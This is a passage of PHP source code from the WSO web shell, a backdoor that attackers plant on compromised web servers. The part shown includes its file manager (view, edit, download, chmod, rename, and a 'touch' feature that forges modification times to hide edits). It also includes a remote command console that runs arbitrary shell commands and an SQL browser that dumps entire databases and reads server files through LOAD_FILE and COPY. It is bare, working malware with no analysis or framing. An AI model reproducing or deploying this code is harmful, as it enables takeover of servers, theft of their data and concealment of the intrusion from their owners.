                                                    if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                    else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                }
                                                usort($files, "wsoCmp");
                                                usort($dirs, "wsoCmp");
                                                $files = array_merge($dirs, $files);
                                                $l = 0;
                                                foreach ($files as $f) {
                                                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                                                    $l = $l ? 0 : 1;
                                                }
                                                echo "<tr><td colspan=7>
        <input type=hidden name=a value='FilesMan'>
        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
        <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
        <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
                                                if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
                                                echo "<option value='tar'>Compress (tar.gz)</option>";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
                                                echo "</select>&nbsp;";
                                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                                echo "<input type='submit' value='>>'></td></tr></form></table></div>";
                                                wsoFooter();
                                            }
                                            function actionFilesTools() {
                                                if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
                                                if (@$_POST['p2'] == 'download') {
                                                    if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                                        ob_start("ob_gzhandler", 4096);
                                                        header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                                                        if (function_exists("mime_content_type")) {
                                                            $type = @mime_content_type($_POST['p1']);
                                                            header("Content-Type: " . $type);
                                                        } else header("Content-Type: application/octet-stream");
                                                        $fp = @fopen($_POST['p1'], "r");
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo @fread($fp, 1024);
                                                            fclose($fp);
                                                        }
                                                    }
                                                    exit;
                                                }
                                                if (@$_POST['p2'] == 'mkfile') {
                                                    if (!file_exists($_POST['p1'])) {
                                                        $fp = @fopen($_POST['p1'], 'w');
                                                        if ($fp) {
                                                            $_POST['p2'] = "edit";
                                                            fclose($fp);
                                                        }
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File tools</h1><div class=content>';
                                                if (!file_exists(@$_POST['p1'])) {
                                                    echo 'File not exists';
                                                    wsoFooter();
                                                    return;
                                                }
                                                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                                if (!$uid) {
                                                    $uid['name'] = @fileowner($_POST['p1']);
                                                    $gid['name'] = @filegroup($_POST['p1']);
                                                } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                                echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
                                                echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                                                if (empty($_POST['p2'])) $_POST['p2'] = 'view';
                                                if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                                                else $m = array('Chmod', 'Rename', 'Touch');
                                                foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
                                                echo '<br><br>';
                                                switch ($_POST['p2']) {
                                                    case 'view':
                                                        echo '<pre class=ml1>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</pre>';
                                                        break;
                                                    case 'highlight':
                                                        if (@is_readable($_POST['p1'])) {
                                                            echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                                                            $code = @highlight_file($_POST['p1'], true);
                                                            echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                                                        }
                                                        break;
                                                    case 'chmod':
                                                        if (!empty($_POST['p3'])) {
                                                            $perms = 0;
                                                            for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
                                                            if ([email protected]($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'edit':
                                                        if (!is_writable($_POST['p1'])) {
                                                            echo 'File isn\'t writeable';
                                                            break;
                                                        }
                                                        if (!empty($_POST['p3'])) {
                                                            $time = @filemtime($_POST['p1']);
                                                            $_POST['p3'] = substr($_POST['p3'], 1);
                                                            $fp = @fopen($_POST['p1'], "w");
                                                            if ($fp) {
                                                                @fwrite($fp, $_POST['p3']);
                                                                @fclose($fp);
                                                                echo 'Saved!<br><script>p3_="";</script>';
                                                                @touch($_POST['p1'], $time, $time);
                                                            }
                                                        }
                                                        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                                                        $fp = @fopen($_POST['p1'], 'r');
                                                        if ($fp) {
                                                            while ([email protected]($fp)) echo htmlspecialchars(@fread($fp, 1024));
                                                            @fclose($fp);
                                                        }
                                                        echo '</textarea><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'hexdump':
                                                        $c = @file_get_contents($_POST['p1']);
                                                        $n = 0;
                                                        $h = array('00000000<br>', '', '');
                                                        $len = strlen($c);
                                                        for ($i = 0;$i < $len;++$i) {
                                                            $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
                                                            switch (ord($c[$i])) {
                                                                case 0:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 9:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 10:
                                                                    $h[2].= ' ';
                                                                break;
                                                                case 13:
                                                                    $h[2].= ' ';
                                                                break;
                                                                default:
                                                                    $h[2].= $c[$i];
                                                                break;
                                                            }
                                                            $n++;
                                                            if ($n == 32) {
                                                                $n = 0;
                                                                if ($i + 1 < $len) {
                                                                    $h[0].= sprintf('%08X', $i + 1) . '<br>';
                                                                }
                                                                $h[1].= '<br>';
                                                                $h[2].= "
";
                                                            }
                                                        }
                                                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                                                        break;
                                                    case 'rename':
                                                        if (!empty($_POST['p3'])) {
                                                            if ([email protected]($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
                                                            else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                                                        }
                                                        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    case 'touch':
                                                        if (!empty($_POST['p3'])) {
                                                            $time = strtotime($_POST['p3']);
                                                            if ($time) {
                                                                if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
                                                                else echo 'Touched!';
                                                            } else echo 'Bad time format!';
                                                        }
                                                        clearstatcache();
                                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                                                        break;
                                                    }
                                                    echo '</div>';
                                                    wsoFooter();
                                                }
                                                function actionConsole() {
                                                    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                                                        $_POST['p1'].= ' 2>&1';
                                                    } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
                                                    if (isset($_POST['ajax'])) {
                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                        ob_start();
                                                        echo "d.cf.cmd.value='';
";
                                                        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']), "

	\'"));
                                                        if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
                                                            if (@chdir($match[1])) {
                                                                $GLOBALS['cwd'] = @getcwd();
                                                                echo "c_='" . $GLOBALS['cwd'] . "';";
                                                            }
                                                        }
                                                        echo "d.cf.output.value+='" . $temp . "';";
                                                        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                                                        $temp = ob_get_clean();
                                                        echo strlen($temp), "
", $temp;
                                                        exit;
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                    wsoHeader();
                                                    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
                cur--;
                if(cur>=0)
                        document.cf.cmd.value = cmds[cur];
                else
                        cur++;
        } else if(n == 40) {
                cur++;
                if(cur < cmds.length)
                        document.cf.cmd.value = cmds[cur];
                else
                        cur--;
        }
}
function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
}
</script>";
                                                    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
                                                    foreach ($GLOBALS['aliases'] as $n => $v) {
                                                        if ($v == '') {
                                                            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                                                            continue;
                                                        }
                                                        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
                                                    }
                                                    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
                                                    if (!empty($_POST['p1'])) {
                                                        echo htmlspecialchars("$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']));
                                                    }
                                                    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
                                                    echo '</form></div><script>d.cf.cmd.focus();</script>';
                                                    wsoFooter();
                                                }
                                                function actionSql() {
                                                    class DbClass {
                                                        var $type;
                                                        var $link;
                                                        var $res;
                                                        function DbClass($type) {
                                                            $this->type = $type;
                                                        }
                                                        function connect($host, $user, $pass, $dbname) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
                                                                    break;
                                                                case 'pgsql':
                                                                    $host = explode(':', $host);
                                                                    if (!$host[1]) $host[1] = 5432;
                                                                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function selectdb($db) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (@mysql_select_db($db)) return true;
                                                                        break;
                                                                    }
                                                                    return false;
                                                            }
                                                            function query($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = @mysql_query($str);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = @pg_query($this->link, $str);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function fetch() {
                                                                $res = func_num_args() ? func_get_arg(0) : $this->res;
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_fetch_assoc($res);
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_fetch_assoc($res);
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listDbs() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->query("SHOW databases");
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function listTables() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return $this->res = $this->query('SHOW TABLES');
                                                                    break;
                                                                    case 'pgsql':
                                                                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function error() {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        return @mysql_error();
                                                                    break;
                                                                    case 'pgsql':
                                                                        return @pg_last_error();
                                                                    break;
                                                                }
                                                                return false;
                                                            }
                                                            function setCharset($str) {
                                                                switch ($this->type) {
                                                                    case 'mysql':
                                                                        if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
                                                                        else $this->query('SET CHARSET ' . $str);
                                                                        break;
                                                                    case 'pgsql':
                                                                        return @pg_set_client_encoding($this->link, $str);
                                                                        break;
                                                                    }
                                                                    return false;
                                                                }
                                                                function loadFile($str) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                                                                        break;
                                                                        case 'pgsql':
                                                                            $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                                                                            $r = array();
                                                                            while ($i = $this->fetch()) $r[] = $i['file'];
                                                                            $this->query('drop table wso2');
                                                                            return array('file' => implode("
", $r));
                                                                            break;
                                                                        }
                                                                        return false;
                                                                }
                                                                function dump($table, $fp = false) {
                                                                    switch ($this->type) {
                                                                        case 'mysql':
                                                                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                                                                            $create = mysql_fetch_array($res);
                                                                            $sql = $create[1] . ";
";
                                                                            if ($fp) fwrite($fp, $sql);
                                                                            else echo ($sql);
                                                                            $this->query('SELECT * FROM `' . $table . '`');
                                                                            $i = 0;
                                                                            $head = true;
                                                                            while ($item = $this->fetch()) {
                                                                                $sql = '';
                                                                                if ($i % 1000 == 0) {
                                                                                    $head = true;
                                                                                    $sql = ";

";
                                                                                }
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    if ($v === null) $item[$k] = "NULL";
                                                                                    elseif (is_int($v)) $item[$k] = $v;
                                                                                    else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                                                                    $columns[] = "`" . $k . "`";
                                                                                }
                                                                                if ($head) {
                                                                                    $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                                                                                    $head = false;
                                                                                } else $sql.= "
	,(" . implode(", ", $item) . ')';
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                                $i++;
                                                                            }
                                                                            if (!$head) if ($fp) fwrite($fp, ";

");
                                                                            else echo (";

");
                                                                            break;
                                                                        case 'pgsql':
                                                                            $this->query('SELECT * FROM ' . $table);
                                                                            while ($item = $this->fetch()) {
                                                                                $columns = array();
                                                                                foreach ($item as $k => $v) {
                                                                                    $item[$k] = "'" . addslashes($v) . "'";
                                                                                    $columns[] = $k;
                                                                                }
                                                                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                            }
                                                                            break;
                                                                        }
                                                                        return false;
                                                                    }
                                                                    function dump_columns($table, $columns, $fp = false) {
                                                                        switch ($this->type) {
                                                                            case 'mysql':
                                                                                $sql = "--";
                                                                                if ($fp) fwrite($fp, $sql);
                                                                                else echo ($sql);
                                                                                $this->query('SELECT ' . implode(', ', $columns) . ' FROM `' . $table . '`');
                                                                                $i = 0;
                                                                                $head = true;
                                                                                while ($item = $this->fetch()) {
                                                                                    $sql = '';
                                                                                    if ($i % 1000 == 0) {
                                                                                        $head = true;
                                                                                        $sql = ";

";
                                                                                    }
                                                                                    $columns = array();
                                                                                    foreach ($item as $k => $v) {
                                                                                        if ($v === null) $item[$k] = "NULL";
                                                                                        elseif (is_int($v)) $item[$k] = $v;
                                                                                        else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                                                                        $columns[] = "`" . $k . "`";
                                                                                    }
                                                                                    if ($head) {
                                                                                        $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                                                                                        $head = false;
                                                                                    } else $sql.= "
	,(" . implode(", ", $item) . ')';
                                                                                    if ($fp) fwrite($fp, $sql);
                                                                                    else echo ($sql);
                                                                                    $i++;
                                                                                }
                                                                                if (!$head) if ($fp) fwrite($fp, ";

");
                                                                                else echo (";

");
                                                                                break;
                                                                            case 'pgsql':
                                                                                $this->query('SELECT ' . implode(', ', $columns) . ' FROM ' . $table);
                                                                                while ($item = $this->fetch()) {
                                                                                    $columns = array();
                                                                                    foreach ($item as $k => $v) {
                                                                                        $item[$k] = "'" . addslashes($v) . "'";
                                                                                        $columns[] = $k;
                                                                                    }
                                                                                    $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                                                                                    if ($fp) fwrite($fp, $sql);
                                                                                    else echo ($sql);
                                                                                }
                                                                                break;
                                                                            }
                                                                            return false;
                                                                        }
                                                                    };
                                                                    $db = new DbClass($_POST['type']);
                                                                    if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
                                                                        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                                                                        $db->selectdb($_POST['sql_base']);
                                                                        switch ($_POST['charset']) {
                                                                            case "Windows-1251":
                                                                                $db->setCharset('cp1251');
                                                                            break;
                                                                            case "UTF-8":
                                                                                $db->setCharset('utf8');
                                                                            break;
                                                                            case "KOI8-R":
                                                                                $db->setCharset('koi8r');
                                                                            break;
                                                                            case "KOI8-U":
                                                                                $db->setCharset('koi8u');
                                                                            break;
                                                                            case "cp866":
                                                                                $db->setCharset('cp866');
                                                                            break;
                                                                        }
                                                                        if (empty($_POST['file'])) {
                                                                            ob_start("ob_gzhandler", 4096);
                                                                            header("Content-Disposition: attachment; filename=dump.sql");
                                                                            header("Content-Type: text/plain");
                                                                            if (empty($_POST['columns'])) foreach ($_POST['tbl'] as $v) $db->dump($v);
                                                                            else $db->dump_columns($_POST['table'], $_POST['columns']);
                                                                            exit;
                                                                        } elseif ($fp = @fopen($_POST['file'], 'w')) {
                                                                            if (empty($_POST['columns'])) {
                                                                                foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
                                                                            } else {
                                                                                $db->dump_columns(is_array($_POST['tbl']) ? $_POST['tbl'][0] : $_POST['tbl'], $_POST['columns'], $fp); /////
                                                                                
                                                                            }
                                                                            fclose($fp);
                                                                            unset($_POST['p2']);
                                                                        } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                                                                    }
                                                                    wsoHeader();
                                                                    echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
<td><select name='type'><option value='mysql' ";
                                                                    if (@$_POST['type'] == 'mysql') echo 'selected';
                                                                    echo ">MySql</option><option value='pgsql' ";
                                                                    if (@$_POST['type'] == 'pgsql') echo 'selected';
                                                                    echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
                                                                    $tmp = "<input type=text name=sql_base value=''>";
                                                                    if (isset($_POST['sql_host'])) {
                                                                        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                                                                            switch ($_POST['charset']) {
                                                                                case "Windows-1251":
                                                                                    $db->setCharset('cp1251');
                                                                                break;
                                                                                case "UTF-8":
                                                                                    $db->setCharset('utf8');
                                                                                break;
                                                                                case "KOI8-R":
                                                                                    $db->setCharset('koi8r');
                                                                                break;
                                                                                case "KOI8-U":
                                                                                    $db->setCharset('koi8u');
                                                                                break;
                                                                                case "cp866":
                                                                                    $db->setCharset('cp866');
                                                                                break;
                                                                            }
                                                                            $db->listDbs();
                                                                            echo "<select name=sql_base><option value=''></option>";
                                                                            while ($item = $db->fetch()) {
                                                                                list($key, $value) = each($item);
                                                                                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                                                                            }
                                                                            echo '</select>';
                                                                        } else echo $tmp;
                                                                    } else echo $tmp;
                                                                    echo "</td>
                                <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
               <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
                        </tr>
                </table>
                <script>
           s_db='" . @addslashes($_POST['sql_base']) . "';
           function fs(f) {
               if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                   if(f.p1) f.p1.value='';
                   if(f.p2) f.p2.value='';
                   if(f.p3) f.p3.value='';
               }
           }
                        function st(t,l) {
                                d.sf.p1.value = 'select';
                                d.sf.p2.value = t;
               if(l && d.sf.p3) d.sf.p3.value = l;
                                d.sf.submit();
                        }
                        function is() {
                                for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                                        d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
                        }
                </script>";
                                                                    if (isset($db) && $db->link) {
                                                                        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                                                                        if (!empty($_POST['sql_base'])) {
                                                                            $db->selectdb($_POST['sql_base']);
                                                                            echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                                                                            $tbls_res = $db->listTables();
                                                                            while ($item = $db->fetch($tbls_res)) {
                                                                                list($key, $value) = each($item);
                                                                                if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                                                                                $value = htmlspecialchars($value);
                                                                                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                                                                            }
                                                                            echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                                                                            if (@$_POST['p1'] == 'select') {
                                                                                $_POST['p1'] = 'query';
                                                                                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                                                                                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                                                                                $num = $db->fetch();
                                                                                $pages = ceil($num['n'] / 30);
                                                                                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                                                                                echo " of $pages";
                                                                                if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                                                                                if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                                                                                $_POST['p3']--;
                                                                                if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
                                                                                else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
                                                                                echo "<br><br>";
                                                                            }
                                                                            if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                                                                                $db->query(@$_POST['p2']);
                                                                                if ($db->res !== false) {
                                                                                    $title = false;
                                                                                    echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                                                                                    $line = 1;
                                                                                    while ($item = $db->fetch()) {
                                                                                        if (!$title) {
                                                                                            echo '<tr>';
                                                                                            foreach ($item as $key => $value) echo '<th style="width: 10px;"><input type="checkbox" name="columns[]" value="' . $key . '" /></th><th>' . $key . '</th>';
                                                                                            reset($item);
                                                                                            $title = true;
                                                                                            echo '</tr><tr>';
                                                                                            $line = 2;
                                                                                        }
                                                                                        echo '<tr class="l' . $line . '">';
                                                                                        $line = $line == 1 ? 2 : 1;
                                                                                        foreach ($item as $key => $value) {
                                                                                            if ($value == null) echo '<td colspan="2"><i>null</i></td>';
                                                                                            else echo '<td colspan="2">' . nl2br(htmlspecialchars($value)) . '</td>';
                                                                                        }
                                                                                        echo '</tr>';
                                                                                    }
                                                                                    echo '</table>';
                                                                                } else {
                                                                                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                                                                                }
                                                                            }
                                                                            echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                                                                            if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
                                                                            echo "</textarea><br/><input type=submit value='Execute'>";
                                                                            echo "</td></tr>";
                                                                        }
                                                                        echo "</table></form><br/>";
                                                                        if ($_POST['type'] == 'mysql') {
                                                                            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
